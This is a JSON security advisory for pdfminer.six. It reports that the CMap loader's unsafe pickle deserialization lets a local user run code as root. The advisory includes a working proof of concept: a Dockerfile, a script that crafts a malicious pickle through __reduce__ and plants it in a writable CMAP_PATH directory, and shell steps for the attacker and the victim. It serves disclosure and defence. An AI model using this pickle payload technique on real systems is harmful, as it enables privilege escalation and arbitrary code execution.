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{"schema_version":"1.9.0","id":"GHSA-f83h-ghpp-7wcc","published":"2025-11-07T23:17:05Z","modified":"2026-07-08T07:38:27.593871221Z","aliases":["CVE-2025-70559","PYSEC-2026-1761"],"summary":"Insecure Deserialization (pickle) in pdfminer.six CMap Loader — Local Privesc","details":"### 🚀 Overview\n\nThis report **demonstrates a real-world privilege escalation** vulnerability in [pdfminer.six](https://github.com/pdfminer/pdfminer.six) due to unsafe usage of Python's `pickle` module for CMap file loading.\nIt shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.\n\n\n\n## 🚨 Special Note\n\nThis advisory addresses a distinct vulnerability from [GHSA-wf5f-4jwr-ppcp (CVE-2025-64512)](https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp).\n\nWhile the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit [b808ee05dd7f0c8ea8ec34bdf394d40e63501086](https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086) does not address the vulnerability reported here.\n\nBased on testing performed against the latest version of the library ([comparison view](https://github.com/pdfminer/pdfminer.six/compare/20250506...20251107)), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The **Dockerfile** is hence modified to run test against this claim.\n\nThis demonstrates that the patch for **CVE-2025-64512** is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on ```pickle```\n\n## 📚 Table of Contents\n\n- [🔍 Background](#-background)\n- [🐍 Vulnerability Description](#-vulnerability-description)\n- [🎭 Demo Scenario](#-demo-scenario)\n- [🧨 Technical Details](#-technical-details)\n- [🔧 Setup and Usage](#-setup-and-usage)\n- [📝 Step-by-step Walkthrough](#-step-by-step-walkthrough)\n- [🛡️ Security Standards & References](#-security-standards--references)\n---\n\n## 🔍 Background\n\n**pdfminer.six** is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's `pickle` module.\n\n> 🐍 **Security Issue:**\n> If the CMap search path (`CMAP_PATH` or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious `.pickle.gz` file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.\n\n---\n\n### 🐍 Vulnerability Description\n\n- **Component:** pdfminer.six CMap loading (`pdfminer/cmapdb.py`)\n- **Issue:** Loads and deserializes `.pickle.gz` files using Python’s `pickle` module, which is unsafe for untrusted data.\n- **Exploitability:** If a low-privileged user can write to any directory in `CMAP_PATH`, they can execute code as the user running pdfminer—potentially root or a privileged service.\n- **Impact:** Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.\n\n\n### 🎭 Demo Scenario\n\n**Environment:**\n- 🐧 Alpine Linux (Docker container)\n- 👨💻 Two users:\n - `user1` (attacker: low-privilege)\n - `root` (victim: runs privileged PDF-processing script)\n- 🗂️ Shared writable directory: `/tmp/uploads`\n- 🛣️ `CMAP_PATH` set to `/tmp/uploads` for the privileged script\n- 📦 pdfminer.six installed system-wide\n\n**Attack Flow:**\n1. 🕵️♂️ `user1` creates a malicious CMap file (`Evil.pickle.gz`) in `/tmp/uploads`.\n2. 👑 The privileged service (`root`) processes a PDF or calls `get_cmap(\"Evil\")`.\n3. 💣 The malicious pickle is deserialized, running arbitrary code as root.\n4. 🎯 The exploit creates a flag file in `/root/pwnedByPdfminer` as proof.\n\n\n\n### 🧨 Technical Details\n\n- **Vulnerability Type:** Insecure deserialization of untrusted data using Python's `pickle`\n- **Attack Prerequisites:** Attacker can write to a directory included in `CMAP_PATH`\n- **Vulnerable Line:**\n ```python\n return type(str(name), (), pickle.loads(gzfile.read()))\n ```\n *In `pdfminer/cmapdb.py`'s `_load_data` method*\n- https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246\n- **Proof of Concept:** See `createEvilPickle.py`, `evilmod.py`, and `processPdf.py`\n\n**Exploit Chain:**\n- Attacker places a malicious `.pickle.gz` file in the CMap search path.\n- Privileged process (e.g., root) loads a CMap, triggering pickle deserialization.\n- Arbitrary code executes with the privilege of the process (root/service account).\n\n\n\n## 🔧 Setup and Usage\n\n### 📁 Files\n#### </> Dockerfile\n```yml\nFROM python:3.11-alpine\n\nARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086\n\n# Install git and build tooling\nRUN apk add --no-cache git build-base\n\nWORKDIR /opt\n\n# Clone pdfminer.six and check out the specific commit, then install from source\nRUN git clone https://github.com/pdfminer/pdfminer.six.git && \\\n cd pdfminer.six && \\\n git fetch --all && \\\n git checkout ${PM_COMMIT} && \\\n pip install --no-cache-dir -e .\n\n# App working directory for PoC\nWORKDIR /app\n\n# Create low-privilege user and uploads dir\nRUN adduser -D user1 && \\\n mkdir -p /tmp/uploads && \\\n chown user1:user1 /tmp/uploads && \\\n chmod 1777 /tmp/uploads\n\n# Copy PoC files\nCOPY evilmod.py /app/evilmod.py\nCOPY createEvilPickle.py /app/createEvilPickle.py\nCOPY processPDF.py /app/processPDF.py\n\nENV CMAP_PATH=/tmp/uploads\nENV PYTHONUNBUFFERED=1\n\n# Keep the container running in background so you can exec into it anytime.\nCMD [\"tail\", \"-f\", \"/dev/null\"]\n\n```\n\n#### </> evilmod.py\n```python\nimport os\n\ndef evilFunc():\n with open(\"/root/pwnedByPdfminer\", \"w\") as f:\n f.write(\"ROOTED by pdfminer pickle RCE\\n\")\n return {\"CODE2CID\": {}, \"IS_VERTICAL\": False}\n```\n#### </> createEvilPickle.py\n```python\nimport pickle\nimport gzip\nfrom evilmod import evilFunc\n\nclass Evil:\n def __reduce__(self):\n return (evilFunc, ())\n\npayload = pickle.dumps(Evil())\nwith gzip.open(\"/tmp/uploads/Evil.pickle.gz\", \"wb\") as f:\n f.write(payload)\n\nprint(\"Malicious pickle created at /tmp/uploads/Evil.pickle.gz\")\n```\n#### </> processPDF.py\n```python\nimport os\nfrom pdfminer.cmapdb import CMapDB\n\nos.environ[\"CMAP_PATH\"] = \"/tmp/uploads\"\n\nCMapDB.get_cmap(\"Evil\")\n\nprint(\"CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.\")\n```\n\n\n### 1️⃣ Build and start the demo container\n\n```bash\ndocker build -t pdfminer-priv-esc-demo .\ndocker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ\n```\n\n### 2️⃣ In the container, open two shells in parallel (or switch users in one):\n\n#### 🕵️♂️ Shell 1 (Attacker: user1)\n```bash\nsu user1\ncd /app\npython createEvilPickle.py\n# ✅ Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1\n```\n\n#### 👑 Shell 2 (Victim: root)\n```bash\ncd /app\npython processPdf.py\n# 🎯 Output: If vulnerable, /root/pwnedByPdfminer will be created\n```\n\n### 3️⃣ Proof of escalation\n\n```bash\ncat /root/pwnedByPdfminer\n# 🏴 Output: ROOTED by pdfminer pickle RCE\n```\n\n<img width=\"815\" height=\"889\" alt=\"proof-of-exploit\" src=\"https://github.com/user-attachments/assets/f465d17c-a3af-49c5-9dbc-eec9635b36fc\" />\n\n\n\n## 📝 Step-by-step Walkthrough\n\n1. **user1** uses `createEvilPickle.py` to craft and place a malicious CMap pickle in a shared upload directory.\n2. The **root** user runs a typical PDF-processing script, which loads CMap files from that directory.\n3. The exploit triggers, running arbitrary code as root.\n4. The attacker now has proof of code execution as root (and, in a real attack, could escalate further).\n\n\n\n## 🛡️ Security Standards & References\n\n- **CVSS (Common Vulnerability Scoring System):**\n - **Base Score:** 7.8 (High)\n - **Vector:** `AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n- **OWASP Top 10:**\n - [A08:2021 - Software and Data Integrity Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/)\n - [A03:2021 - Injection](https://owasp.org/Top10/A03_2021-Injection/) (by analogy, as it's code injection via deserialization)\n\n- **MITRE CWE References:**\n - [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n - [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n\n- **MITRE ATT&CK Techniques:**\n - [T1055: Process Injection](https://attack.mitre.org/techniques/T1055/)\n - [T1548: Abuse Elevation Control Mechanism](https://attack.mitre.org/techniques/T1548/)","affected":[{"package":{"name":"pdfminer-six","ecosystem":"PyPI","purl":"pkg:pypi/pdfminer-six"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20251230"}]}],"versions":["20140915","20151013","20160202","20160614","20170418","20170419","20170720","20181108","20191020","20191107","20191110","20200104","20200121","20200124","20200401","20200402","20200517","20200720","20200726","20201018","20211012","20220319","20220506","20220524","20221105","20231228","20240706","20250324","20250327","20250416","20250506","20251107","20251227","20251228","20251229"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/11/GHSA-f83h-ghpp-7wcc/GHSA-f83h-ghpp-7wcc.json"}}],"references":[{"type":"WEB","url":"https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-f83h-ghpp-7wcc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-70559"},{"type":"WEB","url":"https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086"},{"type":"PACKAGE","url":"https://github.com/pdfminer/pdfminer.six"}],"database_specific":{"cwe_ids":["CWE-502","CWE-915"],"github_reviewed":true,"github_reviewed_at":"2025-11-07T23:17:05Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]} |